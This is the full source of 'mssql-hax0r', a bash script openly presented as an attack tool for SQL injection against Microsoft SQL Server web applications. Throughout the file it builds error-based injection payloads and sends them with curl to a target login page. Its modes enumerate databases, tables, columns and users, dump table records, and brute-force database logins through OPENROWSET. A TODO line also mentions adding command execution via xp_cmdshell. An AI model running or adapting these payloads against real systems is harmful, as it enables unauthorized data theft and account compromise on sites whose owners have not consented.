#!/bin/bash

#
# $Id: mssql-hax0r,v 1.13 2008/09/10 10:00:15 raptor Exp $
#
# mssql-hax0r v1.0 - Multi-purpose MS-SQL injection attack tool
# Copyright (c) 2006-2008 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# Multi-purpose SQL injection script for advanced Microsoft SQL Server 
# exploitation. Three modes of operation are currently available: info 
# (Information Gathering), dump (Record Dump), and brute (Brute Force). 
#
# See also http://www.0xdeadbeef.info/code/sequel.tgz
#
# Many thanks to Inode <inode@wayreth.eu.org> for his support;)
#
# CHANGELOG (v1.0):
# - french language support added (courtesy of <antoine.brodin@laposte.net>)
# - small fix to better handle cookies (for post-auth injections)
# - replaced i=`expr $i + 1` with i=$(($i + 1)) to avoid some fork()s
#
# TODO:
# - fix italian language support (test platform needed, <diopollon@gmail.com>)
# - info mode: add logins target (master..sysxlogins) [name,dbname,password]
# - brute mode: automatic login grabbing feature?
# - info mode: add sys target (xtype='S')?
# - info mode: implement better types/keys dumping
# - add a command execution mode via master..xp_cmdshell?
# - add a privileged testing mode for post-auth vulnerabilities
# - other features (see sqlninja, sqlat, etc.)?
#

####################### Edit the following parameters #######################

# HTTP method (POST|GET)
#METHOD=POST
METHOD=GET

# Injection parameters
URL="http://www.target.com/login.asp"
PARTONE="UserName="     # we inject here
PARTTWO="&PassWord=x&DATAACTION=CHECK"
CHARS="' "		# injection chars

# Default number of records to be dumped (mode: dump)
num=0			# 0 dumps all

# Useful curl options
# -k/--insecure      Allow connections to SSL sites without certs (H)
# -L/--location      Follow Location: hints (H)
# -b/--cookie <name=string/file> Cookie string or file to read cookies from (H)
# -c/--cookie-jar <file> Write cookies to this file after operation (H)
CURL="/usr/bin/curl -k -L -b cookies -c cookies"

# External programs (alternatively, use Python's urllib)
URLENCODE="urlencode"	# http://www.icosaedro.it/apache/urlencode.c
URLDECODE="urldecode"	# http://www.icosaedro.it/apache/urldecode.c

####################### Multi-language support config #######################

# Default
lang="en"

# English
EN_DUMP1='column of data'
EN_DUMP2='s/.*varchar value //'
EN_DUMP3='s/ to a column.*//'
EN_BASIC='varchar value| on '
EN_QUERY1='Column '
EN_QUERY2='s/.*Column //'
EN_QUERY3='s/ is invalid.*//'
EN_QUERY4='s/ is invalid.*//'
EN_BRUTE='Login fai'

# Italian (FIXME)
IT_DUMP1='column of data'		# ???
IT_DUMP2='s/.*alore varchar //'
IT_DUMP3='s/ in una colonna.*//'
IT_BASIC='varchar value| on '		# ???
IT_QUERY1='Column '			# ???
IT_QUERY2='s/.*Column //'		# ???
IT_QUERY3='s/ is invalid.*//'		# ???
IT_QUERY4='s/ is invalid.*//'		# ???
IT_BRUTE='Impossibile eseguire'

# French
FR_DUMP1='vers une colonne de type de donn'
FR_DUMP2='s/.*valeur .*varchar //'
FR_DUMP3='s/ vers une colonne de type de donn.*//'
FR_BASIC='valeur nvarchar| on '
FR_QUERY1='La colonne '
FR_QUERY2='s/.*La colonne //'
FR_QUERY3='s/ est incorrecte.*//'
FR_QUERY4='s/ n.est pas valide.*//'
FR_BRUTE='chec de la connexion de l'

####################### Function declarations go here #######################

# Print header information
function header() {
	echo ""
	echo "mssql-hax0r v1.0 - Multi-purpose MS-SQL injection attack tool"
	echo "Copyright (c) 2006-2008 Marco Ivaldi <raptor@0xdeadbeef.info>"
	echo ""
}

# Clean-up and exit
function footer() {
	echo ""
	exit 0
}

# Print script usage (main)
function usage() {
	echo "./mssql-hax0r -m <info|dump|brute> [-l <lang>] [options]"
	echo ""
	echo "-m info  : enter info gathering mode"
	echo "-m dump  : enter record dump mode"
	echo "-m brute : enter brute force mode"
	echo "-l en    : use english language (default)"
	echo "-l it    : use italian language"
	echo "-l fr    : use french language"
	echo "options  : see info|dump|brute help"
	footer
}

# Print script usage (mode: info)
function usage_info() {
	echo "./mssql-hax0r -m info -t <target> [-d <database>]"
	echo ""
	echo "-t basic     : dump basic information about the database"
	echo "-t query     : dump columns of vulnerable query (1st method)"
	echo "-t query+    : dump columns of vulnerable query (2nd method)"
	echo "-t databases : dump database names only"
	echo "-t tables    : dump database/table names"
	echo "-t tables+   : dump database/table/column names"
	echo "-t tables++  : dump database/table/column names/types"
	echo "-t tables+++ : dump database/table/column names/types/keys"
	echo "-t views     : dump database/view names"
	echo "-t views+    : dump database/view/column names"
	echo "-t views++   : dump database/view/column names/types"
	echo "-t views+++  : dump database/view/column names/types/keys"
	echo "-t procs     : dump database/procedure names"
	echo "-t procs+    : dump database/procedure/parameter names"
	echo "-t procs++   : dump database/procedure/parameter names/types"
	echo "-t users     : dump users from all databases"
	echo "-d database  : dump only from the specified database"
	footer
}

# Print script usage (mode: dump)
function usage_dump() {
	echo "./mssql-hax0r -m dump -b <base> -k <key> -c <cols> [-n <num>]"
	echo ""
	echo "-b base : base location for dumping (<table>|<db..table>)"
	echo "-k key  : specify the key column used for dumping"
	echo "-c cols : list of columns to be dumped (separated by space)"
	echo "-n num  : number of records to be dumped (default: dump all)"
	footer
}

# Print script usage (mode: brute)
function usage_brute() {
	echo "./mssql-hax0r -m brute -u <userfile> [-p <passfile>]"
	echo ""
	echo "-u userfile : get users list from file"
	echo "-p passfile : get passwords list from file"
	footer
}

# Green colored output
function green() {
	echo -e "\033[01;32m$@\033[00m"  
}

# Dump basic information
function dumpbasic() {

	basic="Db_Name() User_Name() System_User"
	#basic="App_Name() Db_Name() User_Name() Host_Name() System_User"

	# Get database version
	sql="OR 1 IN (SELECT @@version);--"
	inj=`echo -n "${CHARS}${sql}" | $URLENCODE`

	if [ "$METHOD" = "POST" ]; then
		res=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | egrep "$XX_BASIC" | sed -e "$XX_DUMP2" -e "s/'//g" -e "s/\t//"`
	else
		res=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | egrep "$XX_BASIC" | sed -e "$XX_DUMP2" -e "s/'//g" -e "s/\t//"`
	fi

	# Output results
	echo "Version:"
	echo "$res"

	# Get other useful information
	for info in $basic
	do
		sql="OR 1 IN (SELECT $info);--"
		inj=`echo -n "${CHARS}${sql}" | $URLENCODE`

		if [ "$METHOD" = "POST" ]; then
			res=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
		else
			res=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
		fi

		# Output results
		echo ""
		echo "$info:"
		echo "$res"
	done
}

# Dump columns in vulnerable query
function dumpquery() {

	# Get the name of the first column
	sql="HAVING 1=1;--"
	inj=`echo -n "${CHARS}${sql}" | $URLENCODE`

	if [ "$METHOD" = "POST" ]; then
		col=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_QUERY1" | sed -e "$XX_QUERY2" -e "$XX_QUERY3" -e "s/'//g"`
	else
		col=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_QUERY1" | sed -e "$XX_QUERY2" -e "$XX_QUERY3" -e "s/'//g"`
	fi

	# Output results
	echo "$col"

	# And now get the rest
	tab=`echo "$col" | cut -d '.' -f 1`

	for ((i=1; i<= 2;))
	do
		if [ $depth -ge 1 ]; then
			# GROUP BY technique
			sql="GROUP BY $col;--"
		else
			# UNION SELECT technique
			sql="UNION SELECT * FROM $tab GROUP BY $col;--"
		fi

		inj=`echo -n "${CHARS}${sql}" | $URLENCODE`

		if [ "$METHOD" = "POST" ]; then
			res=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_QUERY1" | sed -e "$XX_QUERY2" -e "$XX_QUERY4" -e "s/'//g"`
		else
			res=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_QUERY1" | sed -e "$XX_QUERY2" -e "$XX_QUERY4" -e "s/'//g"`
		fi

		# Check whether it's the last record
		if [ "$res" = "" ]; then
			break
		fi

		# Output results
		col="$col,$res"
		echo "$res"
	done
}

# Dump databases
function dumpdatabases() {

	i=1
	olddb="fnordfnord"

	while :
	do
		# Get database names
		sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT TOP 1 NAME FROM (SELECT TOP 1 NAME FROM (SELECT TOP $i NAME FROM MASTER..SYSDATABASES ORDER BY NAME ASC) AS FOO ORDER BY NAME DESC) AS FOO ORDER BY NAME DESC))+'%%%%');--"
		inj=`echo -n "${CHARS}${sql}" | $URLENCODE`

		if [ "$METHOD" = "POST" ]; then
			db=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
		else
			db=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
		fi

		# Check whether it's the last record
		if [ "$db" = "$olddb" ]; then
			break
		fi

		# Output results
		i=$(($i + 1))
		olddb="$db"
		echo $db;

		# Go and get table names
		if [ $depth -ge 1 ]; then
			dumptables
		fi
	done
}

# Dump tables|views|procedures|users
function dumptables() {

	j=1
	oldtabname="fnordfnord"

	while :
	do
		if [ "$mytype" = "user" ]; then
			# Get user names
			sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT TOP 1 NAME FROM (SELECT TOP 1 NAME FROM (SELECT TOP $j NAME FROM ${db}..SYSUSERS ORDER BY NAME ASC) AS FOO ORDER BY NAME DESC) AS FOO ORDER BY NAME DESC))+'%%%%');--"
			inj=`echo -n "${CHARS}${sql}" | $URLENCODE`
		else
			# Get table names
			sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT TOP 1 NAME FROM (SELECT TOP 1 NAME FROM (SELECT TOP $j NAME FROM ${db}..SYSOBJECTS WHERE XTYPE='${xtype}' ORDER BY NAME ASC) AS FOO ORDER BY NAME DESC) AS FOO ORDER BY NAME DESC))+'%%%%');--"
			inj=`echo -n "${CHARS}${sql}" | $URLENCODE`
		fi

		if [ "$METHOD" = "POST" ]; then
			tabname=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
		else
			tabname=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
		fi

		# Check whether the database has no tables
		if [ "$tabname" = "" ]; then
			break
		fi

		# Check whether it's the last record
		if [ "$tabname" = "$oldtabname" ]; then
			break
		fi

		j=$(($j + 1))
		oldtabname="$tabname"

		# Get table id
		if [ $depth -ge 2 ]; then
			sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT ID FROM ${db}..SYSOBJECTS WHERE NAME='$tabname'))+'%%%%');--"
			inj=`echo -n "${CHARS}${sql}" | $URLENCODE`

			if [ "$METHOD" = "POST" ]; then
				tabid=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
			else
				tabid=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
			fi
		fi

		if [ "$tabid" != "" ]; then
			id="(id:$tabid)"
		fi

		# Output results
		echo -e "\t$tabname $id"

		# Go and get column names
		if [ $depth -ge 2 ]; then
			dumpcolumns
		fi
	done
}

# Dump columns|parameters
function dumpcolumns() {

	k=1
	oldcolname="fnordfnord"

	while :
	do
		# Get column names
		sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT TOP 1 NAME FROM (SELECT TOP 1 NAME FROM (SELECT TOP $k NAME FROM ${db}..SYSCOLUMNS WHERE ID=${tabid} ORDER BY NAME ASC) AS FOO ORDER BY NAME DESC) AS FOO ORDER BY NAME DESC))+'%%%%');--"
		inj=`echo -n "${CHARS}${sql}" | $URLENCODE`

		if [ "$METHOD" = "POST" ]; then
			colname=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
		else
			colname=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
		fi

		# Check whether the table has no columns
		if [ "$colname" = "" ]; then
			break
		fi

		# Check whether it's the last record
		if [ "$colname" = "$oldcolname" ]; then
			break
		fi

		# Get column types
		if [ $depth -ge 3 ]; then
			sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT B.NAME FROM ${db}..SYSCOLUMNS A,${db}..SYSTYPES B WHERE A.XTYPE=B.XTYPE AND A.NAME='$colname' AND A.ID=${tabid}))+'%%%%');--"
			inj=`echo -n "${CHARS}${sql}" | $URLENCODE`

			if [ "$METHOD" = "POST" ]; then
				coltype=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
			else
				coltype=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
			fi

			if [ "$coltype" != "" ]; then
				coltype="($coltype)"
			fi
		fi

		# Check whether it's a primary key
		if [ $depth -ge 4 ]; then
			isakey=""
			sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT B.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS A INNER JOIN INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE B ON A.CONSTRAINT_NAME=B.CONSTRAINT_NAME WHERE (A.CONSTRAINT_TYPE = 'PRIMARY KEY') AND (A.TABLE_NAME = '$tabname') AND (A.TABLE_CATALOG = '$db') AND (B.COLUMN_NAME = '$colname'))));--"
			inj=`echo -n "${CHARS}${sql}" | $URLENCODE`
	
			if [ "$METHOD" = "POST" ]; then
				isakey=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
			else
				isakey=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
        		fi

			if [ "$isakey" != "" ]; then
				isakey="*"
			fi
		fi

		# Output results
		k=$(($k + 1))
		oldcolname="$colname"
		echo -e "\t\t$colname $coltype $isakey"
	done
}

# Generic record dump function
function dump() {

	begin=1 # edit directly to start dumping from a record != 1
	end="$num"

	i=0
	oldres="fnordfnord"

	echo "--------------------------------"

	while :
	do
		sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT TOP 1 $key FROM (SELECT TOP $begin $key FROM (SELECT TOP $begin $key FROM $base ORDER BY $key ASC) AS FOO ORDER BY $key DESC) AS FOO ORDER BY $key DESC))+'%%%%');--"
		inj=`echo -n "${CHARS}${sql}" | $URLENCODE`

		if [ "$METHOD" = "POST" ]; then
			res=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
		else
			res=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
		fi

		# Check whether there's an error
		if [ "$res" = "" ]; then
			break
		fi

		# Check whether it's the last record
		if [ "$res" = "$oldres" ]; then
			break
		fi

		# Output results
		oldres="$res"
		res=`echo "$res" | $URLDECODE`
		echo "$key=$res"

		# And now get the rest
		for col in $columns
		do
			sql="OR 1 IN (CONVERT(VARCHAR(255),(SELECT $col FROM $base WHERE $key='$res'))+'%%%%');--"
			inj=`echo -n "${CHARS}${sql}" | $URLENCODE`

			if [ "$METHOD" = "POST" ]; then
				res2=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
			else
				res2=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_DUMP1" |  sed -e "$XX_DUMP2" -e "$XX_DUMP3" -e "s/'//g" -e "s/%%%%//g"`
			fi

			# Output results
			res2=`echo "$res2" | $URLDECODE`
			echo "$col=$res2"
		done

		echo "--------------------------------"

		i=$(($i + 1))

		# Check whether we dumped all we wanted
		if [ $begin -eq $end ]; then
			break
		fi

		begin=$(($begin + 1))
	done

	echo "$i record(s) dumped."
}

# Generic password bruteforcer
function brute() {

	delay="0:0:0"
	i=0

	for user in `cat $ufile`
	do
		echo "--------------------------------"

		# Try password=<empty>
		sql="OR 1 IN (SELECT * FROM OPENROWSET('SQLOLEDB','';'$user';'','WAITFOR DELAY ''$delay'';SELECT 1'));--"
		inj=`echo -n "${CHARS}${sql}" | $URLENCODE`

		if [ "$METHOD" = "POST" ]; then
			res=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_BRUTE"`
		else
			res=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_BRUTE"`
		fi

		# Check grep return value
		if [ $? -eq 0 ]; then
			echo "$user:<empty>"
		else
			i=$(($i + 1))
			green "$user:<empty>"
			continue
		fi

		# Try password=<user>
		sql="OR 1 IN (SELECT * FROM OPENROWSET('SQLOLEDB','';'$user';'$user','WAITFOR DELAY ''$delay'';SELECT 1'));--"
		inj=`echo -n "${CHARS}${sql}" | $URLENCODE`

		if [ "$METHOD" = "POST" ]; then
			res=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_BRUTE"`
		else
			res=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_BRUTE"`
		fi

		# Check grep return value
		if [ $? -eq 0 ]; then
			echo "$user:$user"
		else
			i=$(($i + 1))
			green "$user:$user"
			continue
		fi

		# Check if full bruteforce is enabled
		if [ $fullbrute -eq 0 ]; then
			continue
		fi

		# Perform the full bruteforce attack
		for pass in `cat $pfile`
		do
			sql="OR 1 IN (SELECT * FROM OPENROWSET('SQLOLEDB','';'$user';'$pass','WAITFOR DELAY ''$delay'';SELECT 1'));--"
			inj=`echo -n "${CHARS}${sql}" | $URLENCODE`

			if [ "$METHOD" = "POST" ]; then
				res=`$CURL -d "${PARTONE}${inj}${PARTTWO}" "$URL" 2>/dev/null | grep "$XX_BRUTE"`
			else
				res=`$CURL "${URL}?${PARTONE}${inj}${PARTTWO}" 2>/dev/null | grep "$XX_BRUTE"`
			fi

			# Check grep return value
			if [ $? -eq 0 ]; then
				echo "$user:$pass"
			else
				i=$(($i + 1))
				green "$user:$pass"
				break
			fi
		done
	done

	echo "--------------------------------"
	echo "$i account(s) found."
}

####################### The attack script starts here #######################

header

# Parse command line
while [ ! -z "$1" ]; do
	case $1 in
		-m) shift; mode="$1"; shift;;
		-l) shift; lang="$1"; shift;;
		-t) shift; target="$1"; shift;;
		-d) shift; database="$1"; shift;;
		-b) shift; base="$1"; shift;;
		-k) shift; key="$1"; shift;;
		-c) shift; columns="$1"; shift;;
		-n) shift; num="$1"; shift;;
		-u) shift; ufile="$1"; shift;;
		-p) shift; pfile="$1"; shift;;
		* ) usage
		;;
	esac
done

# Switch language
case $lang in
	"en")
		XX_DUMP1=$EN_DUMP1
		XX_DUMP2=$EN_DUMP2
		XX_DUMP3=$EN_DUMP3
		XX_BASIC=$EN_BASIC
		XX_QUERY1=$EN_QUERY1
		XX_QUERY2=$EN_QUERY2
		XX_QUERY3=$EN_QUERY3
		XX_QUERY4=$EN_QUERY4
		XX_BRUTE=$EN_BRUTE
	;;
	"it")
		echo "error: italian language support not functional yet"
		footer
		XX_DUMP1=$IT_DUMP1
		XX_DUMP2=$IT_DUMP2
		XX_DUMP3=$IT_DUMP3
		XX_BASIC=$IT_BASIC
		XX_QUERY1=$IT_QUERY1
		XX_QUERY2=$IT_QUERY2
		XX_QUERY3=$IT_QUERY3
		XX_QUERY4=$IT_QUERY4
		XX_BRUTE=$IT_BRUTE
	;;
	"fr")
		XX_DUMP1=$FR_DUMP1
		XX_DUMP2=$FR_DUMP2
		XX_DUMP3=$FR_DUMP3
		XX_BASIC=$FR_BASIC
		XX_QUERY1=$FR_QUERY1
		XX_QUERY2=$FR_QUERY2
		XX_QUERY3=$FR_QUERY3
		XX_QUERY4=$FR_QUERY4
		XX_BRUTE=$FR_BRUTE
	;;
	*) 
		usage
	;;
esac

# Switch mode of operation
case $mode in

	# Information Gathering Mode
	"info")
		case $target in
			"basic"       )	dumpbasic; footer;;
			"query"       )	depth=0; dumpquery; footer;;
			"query+"      )	depth=1; dumpquery; footer;;
			"databases"   )	depth=0; dumpdatabases; footer;;
			"tables"      )	depth=1; xtype="U";;
			"tables+"     )	depth=2; xtype="U";;
			"tables++"    )	depth=3; xtype="U";;
			"tables+++"   )	depth=4; xtype="U";;
			"views"       )	depth=1; xtype="V";;
			"views+"      )	depth=2; xtype="V";;
			"views++"     )	depth=3; xtype="V";;
			"views+++"    )	depth=4; xtype="V";;
			"procs"       )	depth=1; xtype="P";;
			"procs+"      )	depth=2; xtype="P";;
			"procs++"     )	depth=3; xtype="P";;
			"users"       )	depth=1; mytype="user";;
			*             )	usage_info;;
		esac
		if [ ! -z $database ]; then
			db=$database
			echo $db
			dumptables
		else
			dumpdatabases
		fi
	;;

	# Record Dump Mode
	"dump") 
		if [ -z "$base" ] || [ -z "$key" ] || [ -z "$columns" ]; then
			usage_dump
		fi
		dump
	;;

	# Brute Force Mode
	"brute")
		if [ ! -z "$ufile"  ]; then
			if [ "`cat $ufile 2>/dev/null`" = "" ]; then
				echo "error: corrupted username file?"
				footer
			fi
			if [ ! -z "$pfile"  ]; then
				# Get password list from a file
				fullbrute=1
				if [ "`cat $pfile 2>/dev/null`" = "" ]; then
					echo "error: corrupted password file?"
					footer
				fi
				brute
			else
				# Test only password=<empty>|<user>
				fullbrute=0
				brute
			fi
		else
			usage_brute
		fi
	;;

	# Default
	*) usage
	;;

esac

footer
